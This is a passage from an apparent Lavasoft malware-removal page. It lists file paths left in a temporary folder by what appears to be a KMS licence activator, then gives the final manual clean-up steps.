    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\pkeyconfig.xrm-ms (273 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\InfoPath\LicenseSetData._A30B8040_D68A_423F_B0B5_9CE292EA5A8F.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectStd\LicenseSetData._427A28D1_D17C_4ABF_B717_32C780BA6F07.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\Word_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.RAC_Priv.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\OpenVPN.cer (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\sounds\inputfailed.mp3 (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlus_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Mondo\MondoVL_KMS_Client-ppd.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-ul-oob.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Publisher\Publisher_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLReg32.reg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Outlook\OutlookVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\driver\UnInstallDriver.cmd (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\OutlookVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ppd.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\Access_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Enterprise\Security-Licensing-SLC-Component-SKU-Enterprise-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Word\WordVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioVLReg32.reg (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Word\LicenseSetData._D9F5B1C6_5386_495A_88F9_9AD6B41AC9B3.OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Excel\LicenseSetData._F7461D52_7C2B_43B2_8744_EA958E0BD09A.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProPlus\ProPlusVLRegWOW.reg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\ProfessionalWMC\ProfessionalWMC-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\Excel_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\DisableSmartScreen.reg (698 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.PL.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasics_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\Core\Core-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Licenses.sl.ISSUANCE.CLIENT_ROOT.xrm-ms (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\ProPlus\ProPlusVL_KMS_Client-ppd.xrm-ms (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\SmallBusBasics\SmallBusBasicsVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Access\AccessVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW8\Enterprise\Enterprise-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Visio\VisioPro_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Standard\StandardVLReg32.reg (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\EmbeddedIndustry\EmbeddedIndustry-Volume-GVLK-1-ul-oob-rtm.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectPro\ProjectPro_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_OOB.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW10\EnterpriseS\EnterpriseS-Volume-GVLK-2-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Outlook\Outlook_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\InfoPath\InfoPath_KMS_Client.RAC_Pub.xrm-ms (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.PPDLIC.xrm-ms (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\Access\AccessVL_KMS_Client-ul.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW81\Enterprise\Enterprise-Volume-GVLK-1-ul-rtm.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2016\VisioPro\VisioProVL_KMS_Client-ul-oob.xrm-ms (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProPlus\proplus.reg (21 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW7\Professional\Security-SPP-Component-SKU-Professional-VL-BYPASS-ul.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\ProjectPro\LicenseSetData._4A5D124A_E620_44BA_B6FF_658961B33B9A.PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Uninstall\EnableSmartScreen.reg (636 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Excel\ExcelVLReg32.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\OneNote\OneNoteVLRegWOW.reg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscertW6\Business\Security-Licensing-SLC-Component-SKU-Business-VL-KMS-ul-oob.xrm-ms (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\ProjectStd\ProjectStd_KMS_Client.OOB.xrm-ms (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2013\Access\AccessVL_KMS_Client_PL.xrm-ms (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cert\kmscert2010\Groove\Groove_KMS_Client.RAC_Pub.xrm-ms (5 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2024 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now